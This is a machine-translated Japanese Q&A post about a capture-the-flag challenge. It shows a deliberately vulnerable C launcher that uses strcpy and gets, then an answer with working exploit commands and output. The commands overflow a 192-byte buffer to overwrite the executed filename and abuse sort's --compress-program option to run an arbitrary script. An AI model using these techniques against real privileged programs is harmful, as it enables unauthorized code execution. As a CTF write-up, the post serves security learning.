ソートおよび/またはuniq機能を使用したプログラムの起動

ソートおよび/またはuniq機能を使用したプログラムの起動

プログラムの脆弱性を悪用しなければならないチャレンジをしています。特にプログラムを起動するには、sortおよび/またはuniqを使用する必要があるようです。しかし、私はこれらの機能に関するさまざまな文書を約数時間検索してみましたが、これがどのように可能かを理解していません。このフォルダで利用可能なファイルは、Linuxのsort関数とuniq関数です。

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <libgen.h>

char buffer[192] = "";
char filename[192] = "";


int main(int argc, char *argv[])
{

  if (argv[1]) {
    snprintf(filename, 255, "/home/challenge/%s", basename(argv[1]));
    printf("Checking filename %s\n", filename);
    if (access(filename, X_OK)) {
      fprintf(stderr, "You do not have the permission to execute this file\n");
      return 1;
    }
  }
  else {
    fprintf(stderr, "Please provide the program name\n");
    return 2;
  }

  if (argv[2]) {
    strcpy(buffer, argv[2]);
  }
  else {
    gets(buffer);
  }
  printf("Executing filename %s\n", filename);

  execlp(filename, filename, buffer, (char *)0);

  return 0;
}

目的は/同時にuniq/sortの代わりにuniq/sortを実行するプログラムを開始することです。どんなアイデアがありますか?

ベストアンサー1

編集する

@icarusがコメントで述べたように、チャレンジのポイントを見逃しています。目標は、sortまたはを悪用するのではなく、uniqプログラムを悪用することです。これは、次のコマンドを使用して簡単に行われます。バッファオーバーフロー攻撃。あなたの質問はより適切ですstackoverflow.comこのサイトではありませんが、とにかくお答えします。

サイズはbuffer192バイトです。ただし、buffer()引数からコピーするときは、strcpy(buffer, argv[2]);サイズが実際には192バイトであることを確認せず、サイズに関係なく2番目の引数全体をコピーします。filename後ろにあるので、2番目のパラメータの最初の192バイト以降の内容はすべて「オーバーフロー」され、bufferメモリ内の変数アドレスを上書きします。filename

strcpycheckfilenameにある場合にのみ実行されるため、/home/challenge/検査は正常に通過しますが、2 番目の引数の最初の 192 バイト以降はすべての項目が実行されます。

./challenge sort "`printf '%192s./program.sh'`"
Checking filename /home/challenge/sort
Executing filename ./program.sh
Yes, ./program.sh was indeed executed by sort!

もう一つの興味深い例は次のとおりです。

$ printf -v ARG "%-191s\n/bin/echo" 'hello world'
$ ./challenge uniq ""$ARG""
Checking filename /home/challenge/uniq
Executing filename /bin/echo
hello world                                                                                                                                                                                    
/bin/echo

bash'sを使用してprintf変数に$ARG"hello world"で始まる文字列を割り当て、191バイトになるように空白で埋め、改行文字\n/bin/echo/bin/echo全体が引数として実行され、$ARG結果は/bin/echo空白、新しい行、およびで埋められた「hello world」になります。

元の答え

これがまさにあなたが探しているものかどうかはわかりませんが、私の考えではその方法を見つけたようですsort。入力がsort高すぎると、sortRAMを節約するためにデータが一時ファイルに書き込まれ、最終的にマージされます。

GNUには、ディスク容量を節約するために一時ファイルを圧縮するように指示するsortオプションもあります。アイデアは、一時ファイルに書き込み、提供されたプログラムを使用して圧縮することを決定するまでstdinにデータを転送し続けることです(今回はstdin、それ以降は)。--compress-program=PROGPROGsort--compress-program=PROGsortexeclpsort

まず、私たちが実行しようとしているプログラムは次のとおりです。実際に実行されたことを確認できるように、いくつかのメッセージを標準エラーに記録します。

$ cat program.sh
#!/bin/bash
echo "Yes, $0 was indeed executed by sort!" >&2
exit 1

次に、次のコマンドを実行します。

while true; do echo; done | ./challenge sort --compress-program=./program.sh
Checking filename /home/challenge/sort
Executing filename /home/challenge/sort
Yes, ./program.sh was indeed executed by sort!

その後、コードはsort次のように実行されます。

execlp("/home/challenge/sort", "/home/challenge/sort", "--compress-program=./program.sh", (char *)0);

これは/home/challenge/sort --compress-program=./program.shシェルで実行するのと同じです。次に、私たちはwhile無限ループの空行をエコーし​​ますsort。結局、sort私たちは一時ファイルに書き込んで./program.sh圧縮しようとします。ご覧のとおり、./program.shこれは実際に実行され、STDERRに書き込まれます。Yes, ./program.sh was indeed executed by sort!

これが私が考えることができる唯一の方法です。私はそれを悪用する方法を見つけることができませんuniq

おすすめ記事